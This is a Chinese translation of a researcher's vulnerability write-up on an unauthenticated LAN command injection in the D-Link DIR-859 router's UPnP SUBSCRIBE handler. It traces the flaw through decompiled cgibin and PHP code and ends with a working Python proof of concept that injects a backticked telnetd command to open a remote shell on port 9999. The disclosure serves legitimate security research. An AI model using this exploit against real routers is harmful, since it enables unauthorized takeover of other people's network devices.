研究人员
Miguel Mendez Z.-(s1kr10s)
Pablo Pollanco-(secenv)
技术细节
型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位
脆弱性
远程执行代码(未经身份验证,LAN)
受影响的产品
漏洞分析
在用于管理UPnP请求的代码中发现了远程执行代码漏洞。下面我们将简要描述UPnP协议。
什么是UPnP?
UPnP是专用网络中设备之间的通信协议。它的主要功能之一是自动自动打开端口,而无需用户为每个程序手动配置路由器。它在用于视频游戏的系统中特别有用,因为它是动态工作的,而且正如我们之前所说的,它是自主的。
回到分析,我们粗略地显示了二进制可执行文件/ htdocs / cgibin(固件文件DIR859Ax_FW106b01_beta01.bin和DIR859Ax_FW105b03.bin)中的genacgi_main()函数,该漏洞包含使我们能够执行代码的漏洞,并且达到下图所示的代码所必须满足的条件。
如下所示,sprintf()设置了一个包含所有值的缓冲区,包括带有值的参数“?service = *”,这就是我们将在此处跟踪的内容。
为了更好地了解漏洞的发生方式,我们在下面显示genacgi_main()函数的反编译伪代码的一部分(为清楚起见,修改了变量名)。
/* The method has to be SUBSCRIBE to reach the buggy code */ metodo = getenv("REQUEST_METHOD”); request_uri = getenv("REQUEST_URI”); request_uri_0x3f = strchr(request_uri,0x3f); cmp_service = strncmp(request_uri_0x3f,"?service=",9) if (cmp_service != 0) { return -1; } /* more code */ valor_subscribe = strcasecmp(metodo,"SUBSCRIBE"); request_uri_0x3f = request_uri_0x3f + 9; if (valor_subscribe != 0) { /* more code */ } server_id_3 = getenv("SERVER_ID"); http_sid_2 = getenv("HTTP_SID"); http_callback_2 = getenv("HTTP_CALLBACK"); http_timeout = getenv("HTTP_TIMEOUT"); http_nt_2 = getenv("HTTP_NT"); remote_addr = getenv("REMOTE_ADDR”); /* more code */ if (cmp_http_callback == 0) { /* more code */ str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f); if (str_http_callback_0x2f != (char *)0x0) { get_pid_1 = getpid(); /* vulnerable code */ sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1); /* send the data */ xmldbc_ephp(0,0,buffer_8,(int)stdout); } /* more code */
然后,使用xmldbc_ephp()(最终调用send())将“ buffer_8”中包含的数据发送到PHP。
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout) { size_t len_buffer; int ret_prepre; len_buffer = strlen(buffer_8); len_buffer._2_2_ = (short)len_buffer; ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);] return ret_prepre; }
如代码所示,URL是从环境变量“ REQUEST_URI”获得的,然后按以下方式验证其结构:
request_uri = "http://IP:PORT/*?service=file_name" request_uri_0x3f = strchr(request_uri,0x3f); ————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
通过调用strchr()和strncmp(),代码检查是否存在值“ 0x3f”(=字符“?”)和字符串“?service = *”;之后,它将验证请求方法:如果调用SUBSCRIBE,则代码会将9个字节的偏移量添加到request_uri_0x3f指针,并将其放置在文件名所在的位置。初始化其他一些变量,最后使用sprintf()连接许多变量的值,填充一个缓冲区,该缓冲区设置要传递的新变量,其中“ SHELLFILE”以格式字符串“%s%d.sh”传递”,用于为新的Shell脚本命名。
将数据复制到“ buffer_8”缓冲区后,将在内存中进行如下设置:
缓冲区中包含的数据现在由PHP文件“ run.NOTIFY.php”处理,在此再次验证请求方法。
文件:run.NOTIFY.php
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1); $gena_path = $gena_path."/".$SERVICE; GENA_subscribe_cleanup($gena_path); /* IGD services */ if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php"; else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php"; else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php"; else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php"; else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php"; /* WFA services */ else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php"; if ($METHOD == "SUBSCRIBE") { if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT); } else if ($METHOD == "UNSUBSCRIBE") { GENA_unsubscribe($gena_path, $SID); }
该脚本调用PHP函数“ GENA_subscribe_new()”,并向其传递在cgibin程序的genacgi_main()函数中获得的变量,包括“ SHELL_FILE”变量。如前面的genacgi_main()代码所示,此变量用于设置文件名的一部分。
文件:gena.php,函数GENA_subscribe_new()
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid) { anchor($node_base); $count = query("subscription#"); $found = 0; /* find subscription index & uuid */ foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) { $found = $InDeX; break; } } if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); } /* get timeout */ if ($timeout==0 || $timeout=="") { $timeout = 0; $new_timeout = 0; } else { $new_timeout = query("/runtime/device/uptime") + $timeout; } /* set to nodes */ set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1"); GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid); } 如我们所见,“ GENA_subscribe_new()”函数不会修改$ shell_file变量。 我们在这里可以看到两个函数:“ GENA_subscribe_http_resp()”,它仅加载要在UPnP响应中传递的标头;“ GENA_notify_init()”,其接收“ $ shell_file”变量,我们一直在跟踪。 文件:gena.php,函数GENA_notify_init() ```cpp function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid) { $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; } $upnpmsg = query("/runtime/upnpmsg"); if ($upnpmsg == "") $upnpmsg = "/dev/null"; fwrite(w, $shell_file, "#!/bin/sh\n". 'echo "[$0] ..." > '.$upnpmsg."\n". "xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. "-V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n" ); fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */ }
这是“ SHELL_FILE”最终结束的地方。它用作通过调用PHP函数“ fwrite()”创建的新文件的名称的一部分。此函数使用了两次:第一个创建文件,从我们控制的SHELL_FILE变量中获取文件名,并连接getpid()的输出,如下所示:
Request: http://IP:PORT/*?service=file_name System: /var/run/nombre_archivo_13567.sh
第二次对“ fwrite()”的调用将向该文件添加新行,其中包含对“ rm”系统命令的调用以删除自身。
为了利用这一点,我们只需要插入一个用反引号引起的系统命令($ command),然后将其注入到shell脚本中,并为我们提供RCE;“ rm”命令将失败,因为文件名字符串将被“ rm”返回的输出(空字符串)替换。
Request: http://IP:PORT/*?service=`ping 192.168.0.20` System: /var/run/`ping 192.168.0.20`_13567.sh Run: rm -f `ping 192.168.0.20`_13467.sh
利用PoC
综上所述,我们编写了一个功能脚本来利用此RCE。
import socket import os from time import sleep # Exploit By Miguel Mendez & Pablo Pollanco def httpSUB(server, port, shell_file): print('\n[*] Connection {host}:{port}').format(host=server, port=port) con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" request += "Host: " + str(server) + str(port) + "\n" request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n" request += "NT: upnp:event\n" request += "Timeout: Second-1800\n" request += "Accept-Encoding: gzip, deflate\n" request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(request.encode()) results = con.recv(4096) sleep(1) print('[*] Running Telnetd Service') sleep(1) print('[*] Opening Telnet Connection\n') sleep(2) os.system('telnet ' + str(server) + ' 9999') serverInput = raw_input('IP Router: ') portInput = 49152 httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
借助此漏洞,我们接下来可以启动telnet服务以维持访问权限。Boom!
视频
https://youtu.be/Q1HC5ExoE30
分析和利用:路由器D-LINK RCE
原文地址:https://medium.com/@s1kr10s/d-link-dir-859-rce-unautenticated-cve-2019-17621-en-d94b47a15104